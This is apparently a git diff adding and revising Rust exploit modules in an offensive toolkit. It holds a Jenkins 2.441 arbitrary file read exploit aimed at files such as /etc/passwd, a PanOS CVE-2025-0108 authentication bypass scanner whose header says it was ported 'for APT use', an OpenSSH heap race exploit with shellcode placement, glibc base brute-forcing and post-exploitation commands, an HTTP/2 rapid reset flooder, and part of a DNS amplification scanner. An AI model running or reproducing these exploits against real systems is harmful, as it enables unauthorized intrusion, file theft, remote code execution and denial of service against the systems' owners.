let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse target (could be host:port or just host)
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
let h = &target[..colon_pos];
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
(h.to_string(), p)
} else {
(target.to_string(), 443)
};
// Interactive prompts
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let mut ssl_input = String::new();
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut ssl_input)?;
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
let mut streams_input = String::new();
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut streams_input)?;
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
let mut delay_input = String::new();
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut delay_input)?;
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
let mut baseline_input = String::new();
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut baseline_input)?;
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
println!("This tool is for authorized security testing only.");
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
let mut confirm = String::new();
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut confirm)?;
if !confirm.trim().to_lowercase().starts_with('y') {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
// Run baseline test
if run_baseline {
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
println!("{}", format!("[-] Baseline test error: {}", e).red());
}
}
// Run rapid reset test
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
}
println!("\n{}", "[*] Test completed.".cyan());
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2023_44487_http2_rapid_reset;
@@ -0,0 +1,238 @@
use std::io::{self, Write};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Self {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.expect("Failed to create HTTP client");
Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
}
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock().unwrap() = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock().unwrap() = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock().unwrap() = false;
return Err(e);
}
while *self.listening.lock().unwrap() {
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
fn make_path_absolute(filepath: &str) -> String {
if filepath.starts_with('/') {
filepath.to_string()
} else {
format!("/proc/self/cwd/{}", filepath)
}
}
fn format_target_url(url: &str) -> String {
let url = url.trim_end_matches('/');
format!("{}/cli", url)
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
loop {
print!("{}", "File to download:\n> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = make_path_absolute(filepath);
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let url = format_target_url(parts[0]);
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier);
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path);
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod jenkins_2_441_lfi;
+3 -1
View File
@@ -15,4 +15,6 @@ pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
@@ -1,6 +1,9 @@
// Filename: cve_2025_0108.rs
// CVE-2025-0108 - PanOS Authentication Bypass
// Author: iSee857
// Ported to Rust by ethical hacker daniel for APT use
use anyhow::{Result, bail};
use anyhow::{Context, Result, bail};
use colored::*;
use reqwest::Client;
use std::{
@@ -11,11 +14,7 @@ use std::{
};
use url::Url;
/// // CVE-2025-0108 - PanOS Authentication Bypass
/// // Author: iSee857
/// // Ported to Rust by ethical hacker daniel for APT use
/// // Displays module banner
/// Displays module banner
fn banner() {
println!(
"{}",
@@ -30,14 +29,27 @@ fn banner() {
);
}
/// // Reads target list from file
/// Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
let file = File::open(file_path)?;
let file = File::open(file_path)
.with_context(|| format!("Failed to open file: {}", file_path))?;
let reader = BufReader::new(file);
Ok(reader.lines().filter_map(Result::ok).collect())
let urls: Vec<String> = reader
.lines()
.filter_map(|line| {
let line = line.ok()?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
None
} else {
Some(trimmed.to_string())
}
})
.collect();
Ok(urls)
}
/// // Normalize IPv6 host with double or triple brackets
/// Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
@@ -47,14 +59,14 @@ fn normalize_ipv6_host(host: &str) -> String {
}
}
/// // Constructs the full normalized URL
/// Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
let host = normalize_ipv6_host(host);
let base = format!("{}{}:{}", proto, host, port);
Url::parse(&base).ok().map(|u| u.to_string())
}
/// // Opens a URL in the default system browser
/// Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
let cmd = Command::new("xdg-open").arg(url).spawn();
@@ -71,7 +83,7 @@ fn open_browser(url: &str) -> Result<()> {
Ok(())
}
/// // Executes CVE-2025-0108 check
/// Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
@@ -79,7 +91,7 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
for proto in &protocols {
if let Some(base_url) = normalize_url(url, port, proto) {
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
println!("{}", full_url);
println!("{}", format!("[*] Testing: {}", full_url).yellow());
let resp = client.get(&full_url).send().await;
@@ -90,11 +102,25 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
.green()
.bold()
);
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
let _ = open_browser(&full_url);
return Ok(true);
} else {
println!(
"{}",
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
.red()
);
}
} else {
println!(
"{}",
format!("[-] Error connecting to {}:{}", url, port).red()
);
}
}
}
@@ -102,8 +128,7 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
Ok(false)
}
/// // Main entry point for auto-dispatch system
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
@@ -116,15 +141,24 @@ pub async fn run(target: &str) -> Result<()> {
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()?;
.build()
.context("Failed to create HTTP client")?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
for url in urls {
let _ = check(&url, port, &client).await;
if urls.is_empty() {
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
}
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
let mut vulnerable_count = 0;
for url in urls {
if check(&url, port, &client).await? {
vulnerable_count += 1;
}
}
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
} else {
let _ = check(target, port, &client).await;
let _ = check(target, port, &client).await?;
}
Ok(())
@@ -4,7 +4,7 @@ use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
@@ -33,22 +33,27 @@ fn chunk_align(s: usize) -> usize {
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
@@ -58,12 +63,13 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
Ok(())
}
@@ -123,6 +129,7 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
@@ -167,65 +174,84 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for i in 0..10 {
for _ in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
send_packet(stream, 5, &tcache_chunk).await?;
}
for i in 0..27 {
for _ in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
send_packet(stream, 5, &small_hole).await?;
}
for i in 0..27 {
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
};
let start = Instant::now();
send_packet(stream, 50, &error_packet_data).await?;
send_packet(stream, 50, error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
let _ = recv_retry(stream, &mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
Err(_) => Ok(true),
}
}
@@ -253,33 +279,9 @@ fn get_postex_command(action: u8) -> String {
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
@@ -295,7 +297,6 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
@@ -305,25 +306,23 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_e) => {
return Ok(false);
}
Err(_) => return Ok(false),
};
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_e) => {
return Ok(false);
}
Err(_) => return Ok(false),
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
@@ -369,6 +368,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
@@ -431,5 +432,29 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
}
}
execute_exploit_logic(ip_address, port_num).await
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
io::stdout().flush().ok();
let mut choice_str = String::new();
io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
+635
View File
@@ -0,0 +1,635 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::Rng;
use std::collections::HashSet;
use std::fs::File;
use std::io::{self, BufRead, BufReader, Write};
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use std::path::Path;
use std::time::Duration;
use trust_dns_client::client::{AsyncClient, ClientHandle};
use trust_dns_client::proto::op::ResponseCode;
use trust_dns_client::rr::{DNSClass, Name, RecordType};
use trust_dns_client::udp::UdpClientStream;
use trust_dns_proto::op::Message;
use trust_dns_proto::xfer::DnsResponse;
use tokio::net::UdpSocket;
#[derive(Clone, Debug)]
struct TargetSpec {
input: String,
host: String,
port: Option<u16>,
}
/// Scan DNS resolvers for open recursion with improved input validation.
pub async fn run(initial_target: &str) -> Result<()> {
println!("\n=== DNS Recursion & Amplification Scanner ===");
let mut targets = collect_targets(initial_target)?;
if targets.is_empty() {
return Err(anyhow!(
"No valid targets provided. Supply at least one IP/hostname."
));
}
let needs_default_port = targets.iter().any(|t| t.port.is_none());
let default_port = if needs_default_port {
prompt_port("Default DNS port for targets without port", 53)?
} else {
53
};
let default_domain = random_test_domain();
let query_name_input = prompt_default("Domain to query", &default_domain)?;
let query_name = validate_domain_input(&query_name_input)?;
let record_input =
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
let record_type = parse_record_type(&record_input)?;
println!(
"[*] Prepared {} query for {} across {} target(s)",
record_type,
query_name,
targets.len()
);
let name = Name::from_str_relaxed(&query_name)
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
let mut any_success = false;
let mut last_error: Option<anyhow::Error> = None;
for spec in targets.drain(..) {
let port = spec.port.unwrap_or(default_port);
let display = format_endpoint(&spec.host, port);
println!(
"\n[*] Processing target {} (input: {})",
display.cyan(),
spec.input
);
match resolve_target(&spec.host, port).await {
Ok((socket_addr, resolved_display)) => {
println!("[*] Target resolver: {}", resolved_display);
match query_target(socket_addr, &resolved_display, &name, record_type).await {
Ok(()) => any_success = true,
Err(err) => {
eprintln!(
"{}",
format!("[!] Query failed for {}: {}", resolved_display, err).red()
);
last_error = Some(err);
}
}
}
Err(err) => {
eprintln!(
"{}",
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
);
last_error = Some(err);
}
}
}
if any_success {
Ok(())
} else {
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
}
}
async fn query_target(
socket_addr: SocketAddr,
display_target: &str,
name: &Name,
record_type: RecordType,
) -> Result<()> {
println!(
"[*] Sending {} query (timeout 5s) to {}",
record_type, display_target
);
let timeout = Duration::from_secs(5);
